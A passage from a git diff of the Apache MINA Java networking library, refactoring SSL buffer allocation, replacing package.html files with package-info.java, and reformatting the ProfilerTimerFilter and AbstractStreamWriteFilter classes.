(source.hasRemaining()) { + if (source.isDerived()) { + this.mDecodeBuffer = IoBuffer.allocate(source.remaining()); + this.mDecodeBuffer.put(source); + } else { + source.compact(); + this.mDecodeBuffer = source; + } } else { - // We already have one, just add the new data into it - appBuffer.expand(inNetBuffer.remaining()); - } - - SSLEngineResult res; - - Status status = null; - HandshakeStatus handshakeStatus = null; - - do { - // Decode the incoming data - res = sslEngine.unwrap(inNetBuffer.buf(), appBuffer.buf()); - status = res.getStatus(); - - // We can be processing the Handshake - handshakeStatus = res.getHandshakeStatus(); - - if (status == SSLEngineResult.Status.BUFFER_OVERFLOW) { - // We have to grow the target buffer, it's too small. - // Then we can call the unwrap method again - appBuffer.capacity(appBuffer.capacity() << 1); - appBuffer.limit(appBuffer.capacity()); - continue; + if (source != ZERO) { + source.free(); } - } while ( - ( - (status == SSLEngineResult.Status.OK) - || - (status == SSLEngineResult.Status.BUFFER_OVERFLOW) - ) - && - ( - (handshakeStatus == SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING) - || - (handshakeStatus == SSLEngineResult.HandshakeStatus.NEED_UNWRAP) - ) - ); - - return res; + this.mDecodeBuffer = null; + } } /** - * Do all the outstanding handshake tasks in the current Thread. + * Allocates the default encoder buffer for the given source size + * + * @param estimate The estimated remaining size + * @return buffer The allocated buffer */ - private SSLEngineResult.HandshakeStatus doTasks() { - /* - * We could run this in a separate thread, but I don't see the need for - * this when used from SSLFilter. Use thread filters in MINA instead? - */ - Runnable runnable; - while ((runnable = sslEngine.getDelegatedTask()) != null) { - // TODO : we may have to use a thread pool here to improve the - // performances - runnable.run(); + protected IoBuffer allocate_encode_buffer(int estimate) { + SSLSession session = this.mEngine.getHandshakeSession(); + + if (session == null) { + session = this.mEngine.getSession(); } - return sslEngine.getHandshakeStatus(); + + int packets = Math.max(MIN_ENCODER_BUFFER_PACKETS, + Math.min(MAX_ENCODER_BUFFER_PACKETS, 1 + (estimate / session.getApplicationBufferSize()))); + + return IoBuffer.allocate(packets * session.getPacketBufferSize()); } /** - * Creates a new MINA buffer that is a deep copy of the remaining bytes in - * the given buffer (between index buf.position() and buf.limit()) + * Allocates the default decoder buffer for the given source size * - * @param src - * the buffer to copy - * @return the new buffer, ready to read from + * @param estimate The estimated remaining size + * @return buffer The allocated buffer */ - /* no qualifier */ static IoBuffer copy(ByteBuffer src) { - IoBuffer copy = IoBuffer.allocate(src.remaining()); - copy.put(src); - copy.flip(); - return copy; - } - - public String toString() { - StringBuilder sb = new StringBuilder(); - - sb.append("SSLStatus <"); - - if (handshakeComplete) { - sb.append("SSL established"); - } else { - sb.append("Processing Handshake" ).append("; "); - sb.append("Status : ").append(handshakeStatus).append("; "); - } - - sb.append(", "); - sb.append("HandshakeComplete :" ).append(handshakeComplete).append(", "); - sb.append(">"); - return sb.toString(); + protected IoBuffer allocate_app_buffer(int estimate) { + SSLSession session = this.mEngine.getHandshakeSession(); + if (session == null) + session = this.mEngine.getSession(); + int packets = 1 + (estimate / session.getPacketBufferSize()); + return IoBuffer.allocate(packets * session.getApplicationBufferSize()); } - } diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/ssl/package-info.java new file mode 100644 index 0000000000..73d622f2f7 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/ssl/package-info.java @@ -0,0 +1,27 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Classes that implement IoFilter and provide Secure Sockets Layer + * functionality. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter.ssl; diff --git a/mina-core/src/main/java/org/apache/mina/filter/ssl/package.html b/mina-core/src/main/java/org/apache/mina/filter/ssl/package.html deleted file mode 100644 index dec1029eb0..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/ssl/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Classes that implement IoFilter and provide Secure Sockets Layer functionality. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/statistic/ProfilerTimerFilter.java b/mina-core/src/main/java/org/apache/mina/filter/statistic/ProfilerTimerFilter.java index 0087e90a7e..13e6dee488 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/statistic/ProfilerTimerFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/statistic/ProfilerTimerFilter.java @@ -31,16 +31,12 @@ import org.apache.mina.core.write.WriteRequest; /** - * This class will measure the time it takes for a - * method in the {@link IoFilterAdapter} class to execute. The basic - * premise of the logic in this class is to get the current time - * at the beginning of the method, call method on nextFilter, and - * then get the current time again. An example of how to use - * the filter is: + * This class will measure the time it takes for a method in the {@link IoFilterAdapter} class to execute. The basic + * premise of the logic in this class is to get the current time at the beginning of the method, call method on + * nextFilter, and then get the current time again. An example of how to use the filter is: * *

    - * ProfilerTimerFilter profiler = new ProfilerTimerFilter(
    - *         TimeUnit.MILLISECOND, IoEventType.MESSAGE_RECEIVED);
    + * ProfilerTimerFilter profiler = new ProfilerTimerFilter(TimeUnit.MILLISECOND, IoEventType.MESSAGE_RECEIVED);
      * chain.addFirst("Profiler", profiler);
      * 
    * @@ -60,10 +56,10 @@ public class ProfilerTimerFilter extends IoFilterAdapter { /** TRhe selected time unit */ private volatile TimeUnit timeUnit; - + /** A TimerWorker for the MessageReceived events */ private TimerWorker messageReceivedTimerWorker; - + /** A flag to tell the filter that the MessageReceived must be profiled */ private boolean profileMessageReceived = false; @@ -98,88 +94,84 @@ public class ProfilerTimerFilter extends IoFilterAdapter { private boolean profileSessionClosed = false; /** - * Creates a new instance of ProfilerFilter. This is the - * default constructor and will print out timings for - * messageReceived and messageSent and the time increment - * will be in milliseconds. + * Creates a new instance of ProfilerFilter. This is the default constructor and will print out timings for + * messageReceived and messageSent and the time increment will be in milliseconds. */ public ProfilerTimerFilter() { - this( - TimeUnit.MILLISECONDS, - IoEventType.MESSAGE_RECEIVED, IoEventType.MESSAGE_SENT); + this(TimeUnit.MILLISECONDS, IoEventType.MESSAGE_RECEIVED, IoEventType.MESSAGE_SENT); } - + /** - * Creates a new instance of ProfilerFilter. This is the - * default constructor and will print out timings for + * Creates a new instance of ProfilerFilter. This is the default constructor and will print out timings for * messageReceived and messageSent. * - * @param timeUnit the time increment to set + * @param timeUnit + * the time increment to set */ public ProfilerTimerFilter(TimeUnit timeUnit) { - this( - timeUnit, - IoEventType.MESSAGE_RECEIVED, IoEventType.MESSAGE_SENT); + this(timeUnit, IoEventType.MESSAGE_RECEIVED, IoEventType.MESSAGE_SENT); } - + /** - * Creates a new instance of ProfilerFilter. An example - * of this call would be: + * Creates a new instance of ProfilerFilter. An example of this call would be: * *
    -     * new ProfilerTimerFilter(
    -     *         TimeUnit.MILLISECONDS,
    -     *         IoEventType.MESSAGE_RECEIVED, IoEventType.MESSAGE_SENT);
    +     * new ProfilerTimerFilter(TimeUnit.MILLISECONDS, IoEventType.MESSAGE_RECEIVED, IoEventType.MESSAGE_SENT);
          * 
    * - * Note : you can add as many {@link IoEventType} as you want. The method accepts - * a variable number of arguments. + * Note : you can add as many {@link IoEventType} as you want. The method accepts a variable number of arguments. * - * @param timeUnit Used to determine the level of precision you need in your timing. - * @param eventTypes A list of {@link IoEventType} representation of the methods to profile + * @param timeUnit + * Used to determine the level of precision you need in your timing. + * @param eventTypes + * A list of {@link IoEventType} representation of the methods to profile */ public ProfilerTimerFilter(TimeUnit timeUnit, IoEventType... eventTypes) { this.timeUnit = timeUnit; setProfilers(eventTypes); } - + /** * Create the profilers for a list of {@link IoEventType}. * - * @param eventTypes the list of {@link IoEventType} to profile + * @param eventTypes + * the list of {@link IoEventType} to profile */ private void setProfilers(IoEventType... eventTypes) { for (IoEventType type : eventTypes) { switch (type) { - case MESSAGE_RECEIVED : + case MESSAGE_RECEIVED: messageReceivedTimerWorker = new TimerWorker(); profileMessageReceived = true; break; - case MESSAGE_SENT : + case MESSAGE_SENT: messageSentTimerWorker = new TimerWorker(); profileMessageSent = true; break; - case SESSION_CREATED : + case SESSION_CLOSED: + sessionClosedTimerWorker = new TimerWorker(); + profileSessionClosed = true; + break; + + case SESSION_CREATED: sessionCreatedTimerWorker = new TimerWorker(); profileSessionCreated = true; break; - - case SESSION_OPENED : - sessionOpenedTimerWorker = new TimerWorker(); - profileSessionOpened = true; - break; - - case SESSION_IDLE : + + case SESSION_IDLE: sessionIdleTimerWorker = new TimerWorker(); profileSessionIdle = true; break; - - case SESSION_CLOSED : - sessionClosedTimerWorker = new TimerWorker(); - profileSessionClosed = true; + + case SESSION_OPENED: + sessionOpenedTimerWorker = new TimerWorker(); + profileSessionOpened = true; + break; + + default: break; } } @@ -188,7 +180,8 @@ private void setProfilers(IoEventType... eventTypes) { /** * Sets the {@link TimeUnit} being used. * - * @param timeUnit the new {@link TimeUnit} to be used. + * @param timeUnit + * the new {@link TimeUnit} to be used. */ public void setTimeUnit(TimeUnit timeUnit) { this.timeUnit = timeUnit; @@ -197,95 +190,103 @@ public void setTimeUnit(TimeUnit timeUnit) { /** * Set the {@link IoEventType} to be profiled * - * @param type The {@link IoEventType} to profile + * @param type + * The {@link IoEventType} to profile */ public void profile(IoEventType type) { switch (type) { - case MESSAGE_RECEIVED : + case MESSAGE_RECEIVED: profileMessageReceived = true; - + if (messageReceivedTimerWorker == null) { messageReceivedTimerWorker = new TimerWorker(); } - + return; - - case MESSAGE_SENT : + + case MESSAGE_SENT: profileMessageSent = true; - + if (messageSentTimerWorker == null) { messageSentTimerWorker = new TimerWorker(); + } + + return; + + case SESSION_CLOSED: + profileSessionClosed = true; + + if (sessionClosedTimerWorker == null) { + sessionClosedTimerWorker = new TimerWorker(); } - + return; - - case SESSION_CREATED : + + case SESSION_CREATED: profileSessionCreated = true; - + if (sessionCreatedTimerWorker == null) { sessionCreatedTimerWorker = new TimerWorker(); } - - return; - - case SESSION_OPENED : - profileSessionOpened = true; - - if (sessionOpenedTimerWorker == null) { - sessionOpenedTimerWorker = new TimerWorker(); - } - + return; - - case SESSION_IDLE : + + case SESSION_IDLE: profileSessionIdle = true; - + if (sessionIdleTimerWorker == null) { sessionIdleTimerWorker = new TimerWorker(); } - + return; - - case SESSION_CLOSED : - profileSessionClosed = true; - - if (sessionClosedTimerWorker == null) { - sessionClosedTimerWorker = new TimerWorker(); + + case SESSION_OPENED: + profileSessionOpened = true; + + if (sessionOpenedTimerWorker == null) { + sessionOpenedTimerWorker = new TimerWorker(); } - + return; + + default: + break; } } /** * Stop profiling an {@link IoEventType} * - * @param type The {@link IoEventType} to stop profiling + * @param type + * The {@link IoEventType} to stop profiling */ public void stopProfile(IoEventType type) { switch (type) { - case MESSAGE_RECEIVED : + case MESSAGE_RECEIVED: profileMessageReceived = false; return; - - case MESSAGE_SENT : + + case MESSAGE_SENT: profileMessageSent = false; return; - - case SESSION_CREATED : - profileSessionCreated = false; + + case SESSION_CLOSED: + profileSessionClosed = false; return; - case SESSION_OPENED : - profileSessionOpened = false; + case SESSION_CREATED: + profileSessionCreated = false; return; - case SESSION_IDLE : + case SESSION_IDLE: profileSessionIdle = false; return; - case SESSION_CLOSED : - profileSessionClosed = false; + case SESSION_OPENED: + profileSessionOpened = false; + return; + + default: return; } } @@ -293,63 +294,61 @@ public void stopProfile(IoEventType type) { /** * Return the set of {@link IoEventType} which are profiled. * - * @return a Set containing all the profiled {@link IoEventType} + * @return a Set containing all the profiled {@link IoEventType} */ public Set getEventsToProfile() { - Set set = new HashSet(); - - if ( profileMessageReceived ) { + Set set = new HashSet<>(); + + if (profileMessageReceived) { set.add(IoEventType.MESSAGE_RECEIVED); } - - if ( profileMessageSent) { + + if (profileMessageSent) { set.add(IoEventType.MESSAGE_SENT); } - - if ( profileSessionCreated ) { + + if (profileSessionCreated) { set.add(IoEventType.SESSION_CREATED); } - - if ( profileSessionOpened ) { + + if (profileSessionOpened) { set.add(IoEventType.SESSION_OPENED); } - - if ( profileSessionIdle ) { + + if (profileSessionIdle) { set.add(IoEventType.SESSION_IDLE); } - - if ( profileSessionClosed ) { + + if (profileSessionClosed) { set.add(IoEventType.SESSION_CLOSED); } - + return set; } /** * Set the profilers for a list of {@link IoEventType} * - * @param eventTypes the list of {@link IoEventType} to profile + * @param eventTypes + * the list of {@link IoEventType} to profile */ public void setEventsToProfile(IoEventType... eventTypes) { setProfilers(eventTypes); } /** - * Profile a MessageReceived event. This method will gather the following - * informations : - * - the method duration - * - the shortest execution time - * - the slowest execution time - * - the average execution time - * - the global number of calls + * Profile a MessageReceived event. This method will gather the following informations : - the method duration - the + * shortest execution time - the slowest execution time - the average execution time - the global number of calls * - * @param nextFilter The filter to call next - * @param session The associated session - * @param message the received message + * @param nextFilter + * The filter to call next + * @param session + * The associated session + * @param message + * the received message */ @Override - public void messageReceived(NextFilter nextFilter, IoSession session, - Object message) throws Exception { + public void messageReceived(NextFilter nextFilter, IoSession session, Object message) throws Exception { if (profileMessageReceived) { long start = timeNow(); nextFilter.messageReceived(session, message); @@ -361,21 +360,18 @@ public void messageReceived(NextFilter nextFilter, IoSession session, } /** - * Profile a MessageSent event. This method will gather the following - * informations : - * - the method duration - * - the shortest execution time - * - the slowest execution time - * - the average execution time - * - the global number of calls + * Profile a MessageSent event. This method will gather the following informations : - the method duration - the + * shortest execution time - the slowest execution time - the average execution time - the global number of calls * - * @param nextFilter The filter to call next - * @param session The associated session - * @param writeRequest the sent message + * @param nextFilter + * The filter to call next + * @param session + * The associated session + * @param writeRequest + * the sent message */ @Override - public void messageSent(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { + public void messageSent(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { if (profileMessageSent) { long start = timeNow(); nextFilter.messageSent(session, writeRequest); @@ -387,20 +383,16 @@ public void messageSent(NextFilter nextFilter, IoSession session, } /** - * Profile a SessionCreated event. This method will gather the following - * informations : - * - the method duration - * - the shortest execution time - * - the slowest execution time - * - the average execution time - * - the global number of calls + * Profile a SessionCreated event. This method will gather the following informations : - the method duration - the + * shortest execution time - the slowest execution time - the average execution time - the global number of calls * - * @param nextFilter The filter to call next - * @param session The associated session + * @param nextFilter + * The filter to call next + * @param session + * The associated session */ @Override - public void sessionCreated(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionCreated(NextFilter nextFilter, IoSession session) throws Exception { if (profileSessionCreated) { long start = timeNow(); nextFilter.sessionCreated(session); @@ -412,20 +404,16 @@ public void sessionCreated(NextFilter nextFilter, IoSession session) } /** - * Profile a SessionOpened event. This method will gather the following - * informations : - * - the method duration - * - the shortest execution time - * - the slowest execution time - * - the average execution time - * - the global number of calls + * Profile a SessionOpened event. This method will gather the following informations : - the method duration - the + * shortest execution time - the slowest execution time - the average execution time - the global number of calls * - * @param nextFilter The filter to call next - * @param session The associated session + * @param nextFilter + * The filter to call next + * @param session + * The associated session */ @Override - public void sessionOpened(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionOpened(NextFilter nextFilter, IoSession session) throws Exception { if (profileSessionOpened) { long start = timeNow(); nextFilter.sessionOpened(session); @@ -437,21 +425,18 @@ public void sessionOpened(NextFilter nextFilter, IoSession session) } /** - * Profile a SessionIdle event. This method will gather the following - * informations : - * - the method duration - * - the shortest execution time - * - the slowest execution time - * - the average execution time - * - the global number of calls + * Profile a SessionIdle event. This method will gather the following informations : - the method duration - the + * shortest execution time - the slowest execution time - the average execution time - the global number of calls * - * @param nextFilter The filter to call next - * @param session The associated session - * @param status The session's status + * @param nextFilter + * The filter to call next + * @param session + * The associated session + * @param status + * The session's status */ @Override - public void sessionIdle(NextFilter nextFilter, IoSession session, - IdleStatus status) throws Exception { + public void sessionIdle(NextFilter nextFilter, IoSession session, IdleStatus status) throws Exception { if (profileSessionIdle) { long start = timeNow(); nextFilter.sessionIdle(session, status); @@ -463,20 +448,16 @@ public void sessionIdle(NextFilter nextFilter, IoSession session, } /** - * Profile a SessionClosed event. This method will gather the following - * informations : - * - the method duration - * - the shortest execution time - * - the slowest execution time - * - the average execution time - * - the global number of calls + * Profile a SessionClosed event. This method will gather the following informations : - the method duration - the + * shortest execution time - the slowest execution time - the average execution time - the global number of calls * - * @param nextFilter The filter to call next - * @param session The associated session + * @param nextFilter + * The filter to call next + * @param session + * The associated session */ @Override - public void sessionClosed(NextFilter nextFilter, IoSession session) - throws Exception { + public void sessionClosed(NextFilter nextFilter, IoSession session) throws Exception { if (profileSessionClosed) { long start = timeNow(); nextFilter.sessionClosed(session); @@ -491,309 +472,309 @@ public void sessionClosed(NextFilter nextFilter, IoSession session) * Get the average time for the specified method represented by the {@link IoEventType} * * @param type - * The {@link IoEventType} that the user wants to get the average method call time - * @return - * The average time it took to execute the method represented by the {@link IoEventType} + * The {@link IoEventType} that the user wants to get the average method call time + * @return The average time it took to execute the method represented by the {@link IoEventType} */ public double getAverageTime(IoEventType type) { switch (type) { - case MESSAGE_RECEIVED : + case MESSAGE_RECEIVED: if (profileMessageReceived) { - return messageReceivedTimerWorker.getAverage(); + return messageReceivedTimerWorker.getAverage(); } - + break; - - case MESSAGE_SENT : + + case MESSAGE_SENT: if (profileMessageSent) { return messageSentTimerWorker.getAverage(); } - + break; - - case SESSION_CREATED : - if (profileSessionCreated) { - return sessionCreatedTimerWorker.getAverage(); + + case SESSION_CLOSED: + if (profileSessionClosed) { + return sessionClosedTimerWorker.getAverage(); } - + break; - - case SESSION_OPENED : - if (profileSessionOpened) { - return sessionOpenedTimerWorker.getAverage(); + + case SESSION_CREATED: + if (profileSessionCreated) { + return sessionCreatedTimerWorker.getAverage(); } - + break; - - case SESSION_IDLE : + + case SESSION_IDLE: if (profileSessionIdle) { return sessionIdleTimerWorker.getAverage(); } - + break; - - case SESSION_CLOSED : - if (profileSessionClosed) { - return sessionClosedTimerWorker.getAverage(); + + case SESSION_OPENED: + if (profileSessionOpened) { + return sessionOpenedTimerWorker.getAverage(); } - + + break; + + default: break; } - throw new IllegalArgumentException( - "You are not monitoring this event. Please add this event first."); + throw new IllegalArgumentException("You are not monitoring this event. Please add this event first."); } /** - * Gets the total number of times the method has been called that is represented by the - * {@link IoEventType} + * Gets the total number of times the method has been called that is represented by the {@link IoEventType} * * @param type - * The {@link IoEventType} that the user wants to get the total number of method calls - * @return - * The total number of method calls for the method represented by the {@link IoEventType} + * The {@link IoEventType} that the user wants to get the total number of method calls + * @return The total number of method calls for the method represented by the {@link IoEventType} */ public long getTotalCalls(IoEventType type) { switch (type) { - case MESSAGE_RECEIVED : + case MESSAGE_RECEIVED: if (profileMessageReceived) { return messageReceivedTimerWorker.getCallsNumber(); } - + break; - - case MESSAGE_SENT : + + case MESSAGE_SENT: if (profileMessageSent) { return messageSentTimerWorker.getCallsNumber(); } - + break; - - case SESSION_CREATED : - if (profileSessionCreated) { - return sessionCreatedTimerWorker.getCallsNumber(); + + case SESSION_CLOSED: + if (profileSessionClosed) { + return sessionClosedTimerWorker.getCallsNumber(); } - + break; - - case SESSION_OPENED : - if (profileSessionOpened) { - return sessionOpenedTimerWorker.getCallsNumber(); + + case SESSION_CREATED: + if (profileSessionCreated) { + return sessionCreatedTimerWorker.getCallsNumber(); } - + break; - - case SESSION_IDLE : + + case SESSION_IDLE: if (profileSessionIdle) { return sessionIdleTimerWorker.getCallsNumber(); } - + break; - - case SESSION_CLOSED : - if (profileSessionClosed) { - return sessionClosedTimerWorker.getCallsNumber(); + + case SESSION_OPENED: + if (profileSessionOpened) { + return sessionOpenedTimerWorker.getCallsNumber(); } - + + break; + + default: break; } - - throw new IllegalArgumentException( - "You are not monitoring this event. Please add this event first."); + + throw new IllegalArgumentException("You are not monitoring this event. Please add this event first."); } /** * The total time this method has been executing * * @param type - * The {@link IoEventType} that the user wants to get the total time this method has - * been executing - * @return - * The total time for the method represented by the {@link IoEventType} + * The {@link IoEventType} that the user wants to get the total time this method has been executing + * @return The total time for the method represented by the {@link IoEventType} */ public long getTotalTime(IoEventType type) { switch (type) { - case MESSAGE_RECEIVED : + case MESSAGE_RECEIVED: if (profileMessageReceived) { return messageReceivedTimerWorker.getTotal(); } - + break; - - case MESSAGE_SENT : + + case MESSAGE_SENT: if (profileMessageSent) { return messageSentTimerWorker.getTotal(); } - + break; - - case SESSION_CREATED : - if (profileSessionCreated) { - return sessionCreatedTimerWorker.getTotal(); + + case SESSION_CLOSED: + if (profileSessionClosed) { + return sessionClosedTimerWorker.getTotal(); } - + break; - - case SESSION_OPENED : - if (profileSessionOpened) { - return sessionOpenedTimerWorker.getTotal(); + + case SESSION_CREATED: + if (profileSessionCreated) { + return sessionCreatedTimerWorker.getTotal(); } - + break; - - case SESSION_IDLE : + + case SESSION_IDLE: if (profileSessionIdle) { return sessionIdleTimerWorker.getTotal(); } - + break; - - case SESSION_CLOSED : - if (profileSessionClosed) { - return sessionClosedTimerWorker.getTotal(); + + case SESSION_OPENED: + if (profileSessionOpened) { + return sessionOpenedTimerWorker.getTotal(); } - + + break; + + default: break; } - - throw new IllegalArgumentException( - "You are not monitoring this event. Please add this event first."); + + throw new IllegalArgumentException("You are not monitoring this event. Please add this event first."); } /** * The minimum time the method represented by {@link IoEventType} has executed * * @param type - * The {@link IoEventType} that the user wants to get the minimum time this method has - * executed - * @return - * The minimum time this method has executed represented by the {@link IoEventType} + * The {@link IoEventType} that the user wants to get the minimum time this method has executed + * @return The minimum time this method has executed represented by the {@link IoEventType} */ public long getMinimumTime(IoEventType type) { switch (type) { - case MESSAGE_RECEIVED : + case MESSAGE_RECEIVED: if (profileMessageReceived) { return messageReceivedTimerWorker.getMinimum(); } - + break; - - case MESSAGE_SENT : + + case MESSAGE_SENT: if (profileMessageSent) { return messageSentTimerWorker.getMinimum(); } - + break; - - case SESSION_CREATED : - if (profileSessionCreated) { - return sessionCreatedTimerWorker.getMinimum(); + + case SESSION_CLOSED: + if (profileSessionClosed) { + return sessionClosedTimerWorker.getMinimum(); } - + break; - - case SESSION_OPENED : - if (profileSessionOpened) { - return sessionOpenedTimerWorker.getMinimum(); + + case SESSION_CREATED: + if (profileSessionCreated) { + return sessionCreatedTimerWorker.getMinimum(); } - + break; - - case SESSION_IDLE : + + case SESSION_IDLE: if (profileSessionIdle) { return sessionIdleTimerWorker.getMinimum(); } - + break; - - case SESSION_CLOSED : - if (profileSessionClosed) { - return sessionClosedTimerWorker.getMinimum(); + + case SESSION_OPENED: + if (profileSessionOpened) { + return sessionOpenedTimerWorker.getMinimum(); } - + + break; + + default: break; } - - throw new IllegalArgumentException( - "You are not monitoring this event. Please add this event first."); + + throw new IllegalArgumentException("You are not monitoring this event. Please add this event first."); } /** * The maximum time the method represented by {@link IoEventType} has executed * * @param type - * The {@link IoEventType} that the user wants to get the maximum time this method has - * executed - * @return - * The maximum time this method has executed represented by the {@link IoEventType} + * The {@link IoEventType} that the user wants to get the maximum time this method has executed + * @return The maximum time this method has executed represented by the {@link IoEventType} */ public long getMaximumTime(IoEventType type) { switch (type) { - case MESSAGE_RECEIVED : + case MESSAGE_RECEIVED: if (profileMessageReceived) { return messageReceivedTimerWorker.getMaximum(); } - + break; - - case MESSAGE_SENT : + + case MESSAGE_SENT: if (profileMessageSent) { return messageSentTimerWorker.getMaximum(); } - + break; - - case SESSION_CREATED : - if (profileSessionCreated) { - return sessionCreatedTimerWorker.getMaximum(); + + case SESSION_CLOSED: + if (profileSessionClosed) { + return sessionClosedTimerWorker.getMaximum(); } - + break; - - case SESSION_OPENED : - if (profileSessionOpened) { - return sessionOpenedTimerWorker.getMaximum(); + + case SESSION_CREATED: + if (profileSessionCreated) { + return sessionCreatedTimerWorker.getMaximum(); } - + break; - - case SESSION_IDLE : + + case SESSION_IDLE: if (profileSessionIdle) { return sessionIdleTimerWorker.getMaximum(); } - + break; - - case SESSION_CLOSED : - if (profileSessionClosed) { - return sessionClosedTimerWorker.getMaximum(); + + case SESSION_OPENED: + if (profileSessionOpened) { + return sessionOpenedTimerWorker.getMaximum(); } - + + break; + + default: break; } - - throw new IllegalArgumentException( - "You are not monitoring this event. Please add this event first."); + + throw new IllegalArgumentException("You are not monitoring this event. Please add this event first."); } /** - * Class that will track the time each method takes and be able to provide information - * for each method. + * Class that will track the time each method takes and be able to provide information for each method. * */ private class TimerWorker { /** The sum of all operation durations */ private final AtomicLong total; - + /** The number of calls */ private final AtomicLong callsNumber; - + /** The fastest operation */ private final AtomicLong minimum; - + /** The slowest operation */ private final AtomicLong maximum; - + /** A lock for synchinized blocks */ private final Object lock = new Object(); @@ -809,11 +790,10 @@ public TimerWorker() { } /** - * Add a new operation duration to this class. Total is updated - * and calls is incremented + * Add a new operation duration to this class. Total is updated and calls is incremented * * @param duration - * The new operation duration + * The new operation duration */ public void addNewDuration(long duration) { callsNumber.incrementAndGet(); @@ -840,22 +820,18 @@ public void addNewDuration(long duration) { public double getAverage() { synchronized (lock) { // There are two operations, we need to synchronize the block - return total.longValue() / callsNumber.longValue(); + return callsNumber.longValue() != 0 ? total.longValue() / callsNumber.longValue() : 0; } } /** - * Returns the total number of profiled operations - * - * @return The total number of profiled operation + * @return The total number of profiled operation */ public long getCallsNumber() { return callsNumber.longValue(); } /** - * Returns the total time - * * @return the total time */ public long getTotal() { @@ -863,8 +839,6 @@ public long getTotal() { } /** - * Returns the lowest execution time - * * @return the lowest execution time */ public long getMinimum() { @@ -872,8 +846,6 @@ public long getMinimum() { } /** - * Returns the longest execution time - * * @return the longest execution time */ public long getMaximum() { @@ -886,16 +858,16 @@ public long getMaximum() { */ private long timeNow() { switch (timeUnit) { - case SECONDS : - return System.currentTimeMillis()/1000; - - case MICROSECONDS : - return System.nanoTime()/1000; - - case NANOSECONDS : + case SECONDS: + return System.currentTimeMillis() / 1000; + + case MICROSECONDS: + return System.nanoTime() / 1000; + + case NANOSECONDS: return System.nanoTime(); - - default : + + default: return System.currentTimeMillis(); } } diff --git a/mina-core/src/main/java/org/apache/mina/filter/statistic/package-info.java b/mina-core/src/main/java/org/apache/mina/filter/statistic/package-info.java new file mode 100644 index 0000000000..c8e434f852 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/filter/statistic/package-info.java @@ -0,0 +1,26 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +/** + * Classes that implement IoFilter and provide the ability for filters to be timed on their performance. + * + * @author Apache MINA Project + */ +package org.apache.mina.filter.statistic; diff --git a/mina-core/src/main/java/org/apache/mina/filter/statistic/package.html b/mina-core/src/main/java/org/apache/mina/filter/statistic/package.html deleted file mode 100644 index e54b0d1352..0000000000 --- a/mina-core/src/main/java/org/apache/mina/filter/statistic/package.html +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - -Classes that implement IoFilter and provide the ability for filters to be timed on their performance. - - diff --git a/mina-core/src/main/java/org/apache/mina/filter/stream/AbstractStreamWriteFilter.java b/mina-core/src/main/java/org/apache/mina/filter/stream/AbstractStreamWriteFilter.java index 78409b8fb4..524ee4bc0f 100644 --- a/mina-core/src/main/java/org/apache/mina/filter/stream/AbstractStreamWriteFilter.java +++ b/mina-core/src/main/java/org/apache/mina/filter/stream/AbstractStreamWriteFilter.java @@ -32,7 +32,10 @@ import org.apache.mina.core.write.WriteRequest; /** - * TODO Add documentation + * Filter implementation which makes it possible to write Stream + * objects directly using {@link IoSession#write(Object)}. + * + * @param The type of Stream * * @author Apache MINA Project */ @@ -45,35 +48,42 @@ public abstract class AbstractStreamWriteFilter extends IoFilterAdapter { /** * The attribute name used when binding the streaming object to the session. */ - protected final AttributeKey CURRENT_STREAM = new AttributeKey(getClass(), "stream"); + protected static final AttributeKey CURRENT_STREAM = new AttributeKey(AbstractStreamWriteFilter.class, "stream"); - protected final AttributeKey WRITE_REQUEST_QUEUE = new AttributeKey(getClass(), "queue"); - protected final AttributeKey CURRENT_WRITE_REQUEST = new AttributeKey(getClass(), "writeRequest"); + protected static final AttributeKey WRITE_REQUEST_QUEUE = new AttributeKey(AbstractStreamWriteFilter.class, "queue"); - private int writeBufferSize = DEFAULT_STREAM_BUFFER_SIZE; + protected static final AttributeKey CURRENT_WRITE_REQUEST = new AttributeKey(AbstractStreamWriteFilter.class, "writeRequest"); + private int writeBufferSize = DEFAULT_STREAM_BUFFER_SIZE; + /** + * {@inheritDoc} + */ @Override - public void onPreAdd(IoFilterChain parent, String name, - NextFilter nextFilter) throws Exception { + public void onPreAdd(IoFilterChain parent, String name, NextFilter nextFilter) throws Exception { Class clazz = getClass(); + if (parent.contains(clazz)) { - throw new IllegalStateException( - "Only one " + clazz.getName() + " is permitted."); + throw new IllegalStateException("Only one " + clazz.getName() + " is permitted."); } } + /** + * {@inheritDoc} + */ @Override - public void filterWrite(NextFilter nextFilter, IoSession session, - WriteRequest writeRequest) throws Exception { + public void filterWrite(NextFilter nextFilter, IoSession session, WriteRequest writeRequest) throws Exception { // If we're already processing a stream we need to 